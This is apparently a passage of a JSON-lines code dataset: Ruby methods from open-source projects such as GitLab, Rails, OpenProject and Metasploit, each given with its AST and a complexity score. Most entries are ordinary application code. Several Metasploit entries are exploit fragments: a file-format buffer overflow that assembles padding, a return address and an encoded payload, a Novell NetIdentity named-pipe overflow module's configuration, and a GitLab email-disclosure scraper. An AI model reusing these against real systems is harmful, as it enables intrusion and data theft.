\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@exploit_unc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SHARENAME\"]}]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"17f7a4a8-c3d1-4c16-a82e-53d38b9a8fd9"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/gta_samp.rb","start_line":69,"raw_source":"def exploit\n buffer = \"echo \"\n buffer << rand_text_alpha_upper(379)\n buffer << [target.ret].pack('V')\n buffer << payload.encoded\n file_create(buffer)\n end","complexity_score":13.35,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buffer\",{\"type\":\"str\",\"children\":[\"echo \"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[379]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[null,\"file_create\",{\"type\":\"lvar\",\"children\":[\"buffer\"]}]}]}]}","id":"e0faec34-3e17-4d98-8c9f-a9c9c6157e93"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request_diff_commit.rb","start_line":168,"raw_source":"def to_hash\n super(exclude_keys: [:message]).merge({\n 'id' => sha,\n message: fetch_message\n })\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"to_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exclude_keys\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]}]}]}]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"sha\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"fetch_message\"]}]}]}]}]}","id":"29f4af7e-d1a6-4bee-85ab-6d54182b19ff"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/omni_auth/authorization.rb","start_line":77,"raw_source":"def self.authorize_user(opts = {}, &)\n if opts[:provider]\n authorize_user_for_provider(opts[:provider], &)\n else\n add_authorize_user_callback AuthorizationBlockCallback.new(&)\n end\n end","complexity_score":10.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"authorize_user\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"provider\"]}]},{\"type\":\"send\",\"children\":[null,\"authorize_user_for_provider\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"provider\"]}]},{\"type\":\"block_pass\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[null,\"add_authorize_user_callback\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AuthorizationBlockCallback\"]},\"new\",{\"type\":\"block_pass\",\"children\":[null]}]}]}]}]}","id":"a302959c-7d07-42c7-9ea9-fcec73b2cdcf"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_connector.rb","start_line":103,"raw_source":"def self.db_disconnect(framework)\n result = { old_data_service_name: framework.db.name }\n unless framework.db.driver\n result[:error] = 'No database driver installed.'\n return result\n end\n\n if framework.db.active\n if framework.db.driver == 'http'\n begin\n framework.db.delete_current_data_service\n local_db_url = build_postgres_url\n local_name = data_service_search(url: local_db_url)\n result[:data_service_name] = local_name\n rescue StandardError => e\n result[:error] = e.message\n end\n else\n framework.db.disconnect\n result[:data_service_name] = nil\n end\n end\n\n result\n end","complexity_score":35.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"db_disconnect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"framework\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_data_service_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"driver\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"str\",\"children\":[\"No database driver installed.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"active\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"driver\"]},\"==\",{\"type\":\"str\",\"children\":[\"http\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"delete_current_data_service\"]},{\"type\":\"lvasgn\",\"children\":[\"local_db_url\",{\"type\":\"send\",\"children\":[null,\"build_postgres_url\"]}]},{\"type\":\"lvasgn\",\"children\":[\"local_name\",{\"type\":\"send\",\"children\":[null,\"data_service_search\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"lvar\",\"children\":[\"local_db_url\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"data_service_name\"]},{\"type\":\"lvar\",\"children\":[\"local_name\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"framework\"]},\"db\"]},\"disconnect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"data_service_name\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"de469524-9f97-4db4-a533-ea022ce5e1de"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Novell NetIdentity Agent XTIERRPCPIPE Named Pipe Buffer Overflow',\n 'Description' => %q{\n This module exploits a stack buffer overflow in Novell's NetIdentity Agent. When sending\n a specially crafted string to the 'XTIERRPCPIPE' named pipe, an attacker may be\n able to execute arbitrary code. The success of this module is much greater once the\n service has been restarted.\n },\n 'Author' => [ 'MC', 'Ruben Santamarta' ],\n 'License' => MSF_LICENSE,\n 'References' => [\n [ 'CVE', '2009-1350' ],\n [ 'OSVDB', '53351' ],\n [ 'BID', '34400' ],\n [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=62&Itemid=1' ],\n ],\n 'DefaultOptions' => {\n 'EXITFUNC' => 'process', # only one shot!\n },\n 'Payload' => {\n 'Space'\t=> 550,\n 'BadChars' => \"\\x00\\x09\\x0c\\x0b\\x20\\x0a\\x0d\\x5c\\x5f\\x2f\\x2e\\x40\",\n 'StackAdjustment' => -3500,\n 'PrependEncoder' => \"\\x81\\xe4\\xf0\\xff\\xff\\xff\",\n },\n 'Platform'\t=> 'win',\n 'Targets' => [\n [ 'Windows 2000 / Windows XP / Windows 2003', { 'Ret' => 0x41414141 } ],\n ],\n 'Privileged'\t=> true,\n 'DisclosureDate' => '2009-04-06',\n 'DefaultTarget'\t=> 0,\n 'Notes' => {\n 'Reliability' => UNKNOWN_RELIABILITY,\n 'Stability' => UNKNOWN_STABILITY,\n 'SideEffects' => UNKNOWN_SIDE_EFFECTS\n }\n )\n )\n\n register_options(\n [\n OptString.new('SMBUser', [ true, 'The username to authenticate as', 'metasploit'], fallbacks: ['USERNAME']),\n OptString.new('SMBPass', [ true, 'The password for the specified username', 'metasploit'], fallbacks: ['PASSWORD'])\n ]\n )\n\n deregister_options('SMB::ProtocolVersion')\n end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SMBUser\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The username to authenticate as\"]},{\"type\":\"str\",\"children\":[\"metasploit\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fallbacks\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SMBPass\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The password for the specified username\"]},{\"type\":\"str\",\"children\":[\"metasploit\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fallbacks\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"SMB::ProtocolVersion\"]}]}]}]}","id":"0fdf33a9-1402-4882-82bc-cc2eaa04b03f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client/commit_service.rb","start_line":157,"raw_source":"def commit_count(ref, options = {})\n request = Gitaly::CountCommitsRequest.new(\n repository: @gitaly_repo,\n revision: encode_binary(ref),\n all: !!options[:all],\n first_parent: !!options[:first_parent]\n )\n request.after = Google::Protobuf::Timestamp.new(seconds: options[:after].to_i) if options[:after].present?\n request.before = Google::Protobuf::Timestamp.new(seconds: options[:before].to_i) if options[:before].present?\n request.path = encode_binary(options[:path]) if options[:path].present?\n request.max_count = options[:max_count] if options[:max_count].present?\n\n gitaly_client_call(@repository.storage, :commit_service, :count_commits, request, timeout: GitalyClient.medium_timeout).count\n end","complexity_score":46.1,"ast_json":"{\"type\":\"def\",\"children\":[\"commit_count\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ref\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"CountCommitsRequest\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"ivar\",\"children\":[\"@gitaly_repo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"revision\"]},{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"lvar\",\"children\":[\"ref\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"all\"]}]},\"!\"]},\"!\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"first_parent\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"first_parent\"]}]},\"!\"]},\"!\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"after\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"after=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Google\"]},\"Protobuf\"]},\"Timestamp\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"seconds\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"after\"]}]},\"to_i\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"before\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"before=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Google\"]},\"Protobuf\"]},\"Timestamp\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"seconds\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"before\"]}]},\"to_i\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"path=\",{\"type\":\"send\",\"children\":[null,\"encode_binary\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_count\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"max_count=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_count\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitaly_client_call\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@repository\"]},\"storage\"]},{\"type\":\"sym\",\"children\":[\"commit_service\"]},{\"type\":\"sym\",\"children\":[\"count_commits\"]},{\"type\":\"lvar\",\"children\":[\"request\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitalyClient\"]},\"medium_timeout\"]}]}]}]},\"count\"]}]}]}","id":"5065a3ae-68c7-4fa5-a77b-dca3946f2fb7"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/security_policy.rb","start_line":68,"raw_source":"def raw_delete_security_policy(_options)\n raise NotImplementedError, _(\"raw_delete_security_policy must be implemented in a subclass\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raw_delete_security_policy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_options\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"NotImplementedError\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"raw_delete_security_policy must be implemented in a subclass\"]}]}]}]}","id":"4d8a8885-aa2a-492d-84ff-56f8fa01770d"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/string/output_safety.rb","start_line":91,"raw_source":"def insert(index, value)\n super(index, implicit_html_escape_interpolated_argument(value))\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"insert\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},{\"type\":\"send\",\"children\":[null,\"implicit_html_escape_interpolated_argument\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"64c77c45-58bb-4a6b-a6d4-559287adb8b6"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/db/migrate/20250710145708_create_captain_scenarios.rb","start_line":2,"raw_source":"def change\n create_table :captain_scenarios do |t|\n t.string :title\n t.text :description\n t.text :instruction\n t.jsonb :tools, default: []\n t.boolean :enabled, default: true, null: false\n t.references :assistant, null: false\n t.references :account, null: false\n\n t.timestamps\n end\n\n add_index :captain_scenarios, :enabled\n add_index :captain_scenarios, [:assistant_id, :enabled]\n end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"captain_scenarios\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"instruction\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"tools\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"boolean\",{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"assistant\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"captain_scenarios\"]},{\"type\":\"sym\",\"children\":[\"enabled\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"captain_scenarios\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"assistant_id\"]},{\"type\":\"sym\",\"children\":[\"enabled\"]}]}]}]}]}","id":"50465f4a-91a6-48e3-abd4-80590062997b"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/gitlab_tags_rss_feed_email_disclosure.rb","start_line":103,"raw_source":"def run\n unless datastore['TARGETPROJECT'].blank?\n get_contents(datastore['TARGETPROJECT'].to_s)\n return\n end\n\n print_good('Scraping ALL projects...')\n request = {\n 'uri' => normalize_uri(target_uri.path, '/api/v4/projects'),\n 'method' => 'GET', 'vars_get' => {\n 'output_mode' => 'json'\n }\n }\n\n res = send_request_cgi(request)\n\n fail_with(Failure::Unreachable, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n fail_with(Failure::UnexpectedReply, \"#{peer} - Project list API endpoint unavailable (response code: #{res.code})\") unless res.code == 200\n\n res.get_json_document.each do |entry|\n tags = entry['path_with_namespace']\n get_contents(tags)\n end\n end","complexity_score":36.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETPROJECT\"]}]},\"blank?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_contents\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETPROJECT\"]}]},\"to_s\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Scraping ALL projects...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/api/v4/projects\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"output_mode\"]},{\"type\":\"str\",\"children\":[\"json\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to web service - no response\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Project list API endpoint unavailable (response code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tags\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"[]\",{\"type\":\"str\",\"children\":[\"path_with_namespace\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get_contents\",{\"type\":\"lvar\",\"children\":[\"tags\"]}]}]}]}]}]}","id":"59f3a312-9b5c-4d4e-b6f8-c5097d351603"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/test/base.rb","start_line":28,"raw_source":"def initialize(klass, &block)\n if klass.is_a?(Class)\n if block\n # Create new class for test w/ overwritten methods\n # klass.dup is worse because its ancestors does NOT include original class name\n klass_name = klass.name\n klass = Class.new(klass)\n klass.define_singleton_method(:name) { klass_name }\n klass.module_eval(&block)\n end\n @instance = klass.new\n else\n @instance = klass\n end\n @instance.router = Engine.root_agent.event_router\n @instance.log = TestLogger.new\n Engine.root_agent.instance_variable_set(:@log, @instance.log)\n\n @config = Config.new\n end","complexity_score":34.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Class\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"klass_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"module_eval\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@instance\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\"]